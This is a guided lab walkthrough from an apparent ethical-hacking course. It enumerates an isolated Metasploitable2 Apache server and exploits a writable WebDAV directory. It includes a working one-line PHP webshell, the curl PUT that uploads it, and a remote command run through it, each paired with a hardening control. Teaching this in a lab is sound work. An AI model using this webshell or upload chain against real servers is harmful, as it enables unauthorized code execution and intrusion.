Module 13 — Hacking Web Servers · Guided Lab Walkthrough¶
Step-by-step against your own lab (
../../labs/) — never a server you don't own. Target the Metasploitable2 Apache host (192.168.56.20, real WebDAV/phpMyAdmin/TWiki) from Kali (192.168.56.10); the DVWA Docker host (localhost:8081) is a fallback. Each step: command, what you should see, a hint, and the defender/PAM takeaway. Outputs are representative.
Goal: footprint a web server, discover its hidden tree, then turn a WebDAV PUT misconfiguration into a foothold — and see why every step maps to a hardening control, not a code fix.
Part A — Enumerate & banner-grab (the footprint)¶
A1. Service & version detection¶
nmap -sV -p80,443 192.168.56.20
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
DAV/2 token already hints WebDAV is compiled in — note it. The 2.2.8 version is your patch-management starting point (look the version up; do not guess CVE numbers).
Hint
No banner? Add `-sV --version-intensity 9`. If port 80 is filtered, confirm the VM is up with `nmap -sn 192.168.56.0/24` and that Kali is on the host-only net.Defender/PAM view: the version banner is free intel for an attacker. Suppression is obscurity — the real control is a patch cadence + accurate inventory (../../defender-pam/).
A2. Raw response headers (banner grab)¶
curl -sI http://192.168.56.20
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Ubuntu) DAV/2
X-Powered-By: PHP/5.2.4-2ubuntu5.10
Server: and X-Powered-By: confirm the stack and reveal an ancient PHP — more patch surface.
A3. Fingerprint the stack¶
whatweb http://192.168.56.20
A4. Which HTTP methods are enabled?¶
curl -s -X OPTIONS -i http://192.168.56.20/dav/
nmap -p80 --script http-methods,http-webdav-scan 192.168.56.20
Allow: header listing methods — crucially PUT, DELETE, MOVE on /dav/, and http-webdav-scan reporting WebDAV enabled:
Allow: OPTIONS, GET, HEAD, POST, PUT, DELETE, COPY, MOVE, PROPFIND, ...
PUT/MOVE writable on a directory = the WebDAV upload path. (TRACE present would flag XST.)
Hint
If `/dav/` 404s, run `nmap -p80 --script http-enum 192.168.56.20` first to locate the DAV directory; on Metasploitable2 it is usually `/dav/`.Defender/PAM view: disable WebDAV and unused methods (PUT/DELETE/TRACE) in the build baseline; keep the doc root read-only.
Part B — Content discovery (map the hidden tree)¶
B1. Known-issue & misconfig scan¶
nikto -h http://192.168.56.20
+ Server: Apache/2.2.8 (Ubuntu) DAV/2
+ OSVDB-xxxx: /dav/ : WebDAV enabled (PUT method allowed)
+ /phpMyAdmin/ : phpMyAdmin directory found
+ OSVDB-3268: /doc/ : Directory indexing found
B2. Directory / file brute forcing¶
gobuster dir -u http://192.168.56.20 \
-w /usr/share/wordlists/dirb/common.txt -x php,bak,old
# or:
ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt \
-u http://192.168.56.20/FUZZ -mc 200,301,302,403
/dav (Status: 301)
/phpMyAdmin (Status: 301)
/twiki (Status: 301)
/index.php (Status: 200)
-x php,bak,old extensions hunt source-disclosure files like config.php.bak.
Hint
Wordlist path differs per distro. If `dirb` lists are missing, install seclists (`apt install seclists`) and point `-w` at `/usr/share/seclists/Discovery/Web-Content/common.txt`.Defender/PAM view: remove sample/default apps (phpMyAdmin, docs) on deploy, disable directory indexing, and keep no secrets/backups in the web root.
Part C — Exploit the WebDAV misconfiguration (the foothold)¶
WebDAV with a writable PUT lets you drop an executable script into the doc root — a classic web-server finding (config, not code).
C1. Confirm which extensions are writable & executable¶
davtest -url http://192.168.56.20/dav/
PUT File: http://192.168.56.20/dav/davtest_xxxx.php SUCCEED
EXEC File: http://192.168.56.20/dav/davtest_xxxx.php SUCCEED
PUT ... SUCCEED and EXEC ... SUCCEED for .php means an uploaded PHP file both writes and runs — that is code execution.
C2. Upload a minimal test webshell¶
# a 1-line PHP command runner, written locally then PUT to the DAV dir
echo '<?php system($_GET["c"]); ?>' > shell.php
curl -T shell.php http://192.168.56.20/dav/shell.php
201 Created (or 204) from the PUT.
Hint
`curl -T` performs the `PUT`. If you get `403/405`, `PUT` is disabled or the dir isn't writable — re-check A4/C1. `cadaver http://192.168.56.20/dav/` then `put shell.php` is the interactive alternative.C3. Execute a command through the foothold¶
curl -s "http://192.168.56.20/dav/shell.php?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data — the least-privilege boundary in action. To go further you'd still need a privilege-escalation step (Module 06). Compare: if this daemon ran as root, the same webshell would own the box outright.
Defender/PAM view: three controls would have stopped or contained this — disable WebDAV/PUT (prevention), read-only doc root + FIM (a new shell.php trips an alert), and a least-privilege service account so the foothold inherits almost nothing. Onboard that account to CPM and have the app fetch DB/API secrets via CCP at runtime, so a webshell finds no reusable static credential in config — see ../../defender-pam/cyberark-attack-mapping.md.
What you should conclude¶
| Step | Real-world defense |
|---|---|
| Version banner exposed (A1–A2) | Patch cadence + inventory (suppression is only obscurity) |
PUT/MOVE enabled on /dav/ (A4) |
Disable WebDAV & unused HTTP methods |
| phpMyAdmin / docs / indexing (B1) | Remove samples on deploy; disable directory listing |
.bak/.old hunted (B2) |
No secrets/backups in the web root |
| Webshell PUT succeeded (C2) | Read-only doc root + file-integrity monitoring |
RCE runs as www-data, not root (C3) |
Least-privilege service account; CCP/CPM for its secrets |
The through-line: nearly every finding was a configuration or patch gap, not a code bug — which is exactly why this module maps onto standard hardening and change control.
Cleanup¶
# remove the uploaded test shell from the DAV directory
curl -X DELETE http://192.168.56.20/dav/shell.php
rm -f shell.php # local copy on Kali
# if DELETE is blocked, remove /var/www/dav/shell.php from the VM console
Record it¶
Log the banner, enabled methods, discovered paths, and the id output in the My lab log table in README.md; note misses in PROGRESS.md.